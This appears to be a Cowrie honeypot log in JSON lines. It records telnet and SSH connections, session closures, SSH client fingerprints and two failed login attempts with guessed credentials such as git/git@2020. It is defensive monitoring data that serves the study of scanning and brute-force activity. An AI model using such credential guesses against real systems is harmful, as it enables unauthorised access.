{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.093645Z","src_ip":"103.86.180.10","session":"1f1512647da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.290025Z","src_ip":"103.86.180.10","session":"1f1512647da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51036,"dst_ip":"159.203.135.109","dst_port":23,"session":"2061981c29f5","protocol":"telnet","message":"New connection: 147.124.211.111:51036 (159.203.135.109:23) [session: 2061981c29f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.538975Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51038,"dst_ip":"159.203.135.109","dst_port":23,"session":"446643d15885","protocol":"telnet","message":"New connection: 147.124.211.111:51038 (159.203.135.109:23) [session: 446643d15885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.748056Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51046,"dst_ip":"159.203.135.109","dst_port":23,"session":"82761f322e1e","protocol":"telnet","message":"New connection: 147.124.211.111:51046 (159.203.135.109:23) [session: 82761f322e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.881092Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:40.900556Z","src_ip":"41.86.34.139","session":"e41182ed1ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2020","message":"login attempt [git/git@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:41.109161Z","src_ip":"103.86.180.10","session":"1f1512647da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.42389154434204,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:41.113634Z","src_ip":"137.184.155.248","session":"a7be3e25fc8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51060,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ebeea73c8d","protocol":"telnet","message":"New connection: 147.124.211.111:51060 (159.203.135.109:23) [session: 48ebeea73c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:42.183998Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:42.307901Z","src_ip":"103.86.180.10","session":"1f1512647da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51072,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7b35ee48e2","protocol":"telnet","message":"New connection: 147.124.211.111:51072 (159.203.135.109:23) [session: ab7b35ee48e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:42.384485Z"}
{"eventid":"cowrie.session.closed","duration":44.7997407913208,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:42.775480Z","src_ip":"137.184.155.248","session":"110d3ac2df93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47204,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1948793e75","protocol":"telnet","message":"New connection: 137.184.155.248:47204 (10.17.0.5:23) [session: 0b1948793e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:43.874718Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51088,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef4a1451a2c","protocol":"telnet","message":"New connection: 147.124.211.111:51088 (159.203.135.109:23) [session: 4ef4a1451a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:44.075067Z"}
{"eventid":"cowrie.session.closed","duration":30.620446920394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:44.150890Z","src_ip":"147.124.211.111","session":"452d0ee835b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51090,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbb83049e4b","protocol":"telnet","message":"New connection: 147.124.211.111:51090 (159.203.135.109:23) [session: bfbb83049e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:44.236854Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51104,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b0e9e3958df","protocol":"telnet","message":"New connection: 147.124.211.111:51104 (159.203.135.109:23) [session: 4b0e9e3958df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:44.398592Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51106,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e3e25503482","protocol":"telnet","message":"New connection: 147.124.211.111:51106 (159.203.135.109:23) [session: 7e3e25503482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:44.866520Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51122,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c97d602b68","protocol":"telnet","message":"New connection: 147.124.211.111:51122 (159.203.135.109:23) [session: 80c97d602b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:46.100226Z"}
{"eventid":"cowrie.session.closed","duration":31.71368718147278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:46.725760Z","src_ip":"147.124.211.111","session":"45e4a0b07c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51142,"dst_ip":"159.203.135.109","dst_port":23,"session":"1409f51de2b2","protocol":"telnet","message":"New connection: 147.124.211.111:51142 (159.203.135.109:23) [session: 1409f51de2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:46.782275Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51074,"dst_ip":"159.203.135.109","dst_port":23,"session":"fedc60f37584","protocol":"telnet","message":"New connection: 147.124.211.111:51074 (159.203.135.109:23) [session: fedc60f37584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:46.801152Z"}
{"eventid":"cowrie.session.closed","duration":31.791062593460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:47.005130Z","src_ip":"147.124.211.111","session":"5f8a8547eed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.195813417434692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:47.166291Z","src_ip":"147.124.211.111","session":"6317b5981162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.99677014350891,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:47.570248Z","src_ip":"137.184.155.248","session":"693309c703ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011078596115112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:47.719147Z","src_ip":"147.124.211.111","session":"27ba451e2754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.815871953964233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:47.832454Z","src_ip":"147.124.211.111","session":"f0332199324e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51659631729126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:48.097627Z","src_ip":"147.124.211.111","session":"e43cc26cb794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017411947250366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:48.195556Z","src_ip":"147.124.211.111","session":"eff9b8e3dc85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.240012884140015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:48.279522Z","src_ip":"147.124.211.111","session":"902c81475988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.639118671417236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:48.409693Z","src_ip":"147.124.211.111","session":"d1f9c465c7b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04624581336975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:48.767234Z","src_ip":"147.124.211.111","session":"0400347ce7e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51162,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2140297cc6","protocol":"telnet","message":"New connection: 147.124.211.111:51162 (159.203.135.109:23) [session: 0d2140297cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:49.122270Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51138,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f48bce66eba","protocol":"telnet","message":"New connection: 147.124.211.111:51138 (159.203.135.109:23) [session: 2f48bce66eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:49.424589Z"}
{"eventid":"cowrie.session.closed","duration":30.737791299819946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:49.570862Z","src_ip":"147.124.211.111","session":"f328d7d5c6da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51152,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb6f2487a403","protocol":"telnet","message":"New connection: 147.124.211.111:51152 (159.203.135.109:23) [session: fb6f2487a403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:49.604068Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":51176,"dst_ip":"159.203.135.109","dst_port":23,"session":"26c7293de016","protocol":"telnet","message":"New connection: 147.124.211.111:51176 (159.203.135.109:23) [session: 26c7293de016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:49.882879Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49392,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bfc55b9d16f","protocol":"telnet","message":"New connection: 147.124.211.111:49392 (159.203.135.109:23) [session: 3bfc55b9d16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:50.350711Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49408,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd471231153b","protocol":"telnet","message":"New connection: 147.124.211.111:49408 (159.203.135.109:23) [session: bd471231153b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:50.580091Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":44246,"dst_ip":"10.17.0.5","dst_port":22,"session":"0763fac36a0f","protocol":"ssh","message":"New connection: 190.244.39.232:44246 (10.17.0.5:22) [session: 0763fac36a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.094086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.103617Z","src_ip":"190.244.39.232","session":"0763fac36a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.301602Z","src_ip":"190.244.39.232","session":"0763fac36a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.230262756347656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.465018Z","src_ip":"147.124.211.111","session":"045d4867c372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985896348953247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.663752Z","src_ip":"147.124.211.111","session":"b0dd8dbb6018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19962191581726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.872565Z","src_ip":"147.124.211.111","session":"3fb524b1fcfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053817987442017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:51.982763Z","src_ip":"147.124.211.111","session":"3a9ef974827d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest!","message":"login attempt [guest/guest!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:52.102509Z","src_ip":"190.244.39.232","session":"0763fac36a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.166965007781982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:52.523154Z","src_ip":"147.124.211.111","session":"aaf67486a35f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740971326828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:53.029363Z","src_ip":"147.124.211.111","session":"8a0a6d78fe9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:53.308912Z","src_ip":"190.244.39.232","session":"0763fac36a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49414,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc108b03789","protocol":"telnet","message":"New connection: 147.124.211.111:49414 (159.203.135.109:23) [session: edc108b03789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:53.375798Z"}
{"eventid":"cowrie.session.closed","duration":30.534591913223267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:53.450969Z","src_ip":"147.124.211.111","session":"e2c49d480535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59167981147766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:53.684330Z","src_ip":"147.124.211.111","session":"12cd1ae1e538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709287881851196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:54.022784Z","src_ip":"147.124.211.111","session":"1469acff2757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49428,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a292440bed","protocol":"telnet","message":"New connection: 147.124.211.111:49428 (159.203.135.109:23) [session: 21a292440bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:54.481470Z"}
{"eventid":"cowrie.session.closed","duration":31.73495888710022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:54.758474Z","src_ip":"147.124.211.111","session":"e5d5416dc8a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4338059425354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:54.796891Z","src_ip":"147.124.211.111","session":"7d11d9952cbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49430,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0675eb407e7","protocol":"telnet","message":"New connection: 147.124.211.111:49430 (159.203.135.109:23) [session: e0675eb407e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:54.808407Z"}
{"eventid":"cowrie.session.closed","duration":31.22628617286682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:55.562724Z","src_ip":"147.124.211.111","session":"35e0cc321427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160527229309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:55.802689Z","src_ip":"182.253.54.171","session":"1f13dfa79ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49446,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2be02af601f","protocol":"telnet","message":"New connection: 147.124.211.111:49446 (159.203.135.109:23) [session: f2be02af601f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:55.918386Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a83050061c09","protocol":"telnet","message":"New connection: 147.124.211.111:49460 (159.203.135.109:23) [session: a83050061c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:56.779316Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49466,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d5a6da072e8","protocol":"telnet","message":"New connection: 147.124.211.111:49466 (159.203.135.109:23) [session: 1d5a6da072e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:58.001746Z"}
{"eventid":"cowrie.session.closed","duration":30.169278144836426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:58.055921Z","src_ip":"147.124.211.111","session":"c252b79da726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44690b62e81","protocol":"telnet","message":"New connection: 147.124.211.111:49478 (159.203.135.109:23) [session: f44690b62e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:58.109463Z"}
{"eventid":"cowrie.session.closed","duration":30.418154001235962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:58.123790Z","src_ip":"147.124.211.111","session":"0ecbcaac56e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49474,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6e967350bbf","protocol":"telnet","message":"New connection: 147.124.211.111:49474 (159.203.135.109:23) [session: c6e967350bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:58.243607Z"}
{"eventid":"cowrie.session.closed","duration":30.804091691970825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:58.760319Z","src_ip":"147.124.211.111","session":"929884139ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068932056427002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:59.184247Z","src_ip":"147.124.211.111","session":"b33dfc6f4250","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49504,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc83e1cc373","protocol":"telnet","message":"New connection: 147.124.211.111:49504 (159.203.135.109:23) [session: 4bc83e1cc373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:59.224969Z"}
{"eventid":"cowrie.session.closed","duration":31.236865282058716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:59.479045Z","src_ip":"147.124.211.111","session":"0c9f3cc9b740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49524,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cfe92df2b32","protocol":"telnet","message":"New connection: 147.124.211.111:49524 (159.203.135.109:23) [session: 9cfe92df2b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:59.576825Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":49482,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb72c4c22a5f","protocol":"telnet","message":"New connection: 147.124.211.111:49482 (159.203.135.109:23) [session: eb72c4c22a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:49:59.907283Z"}
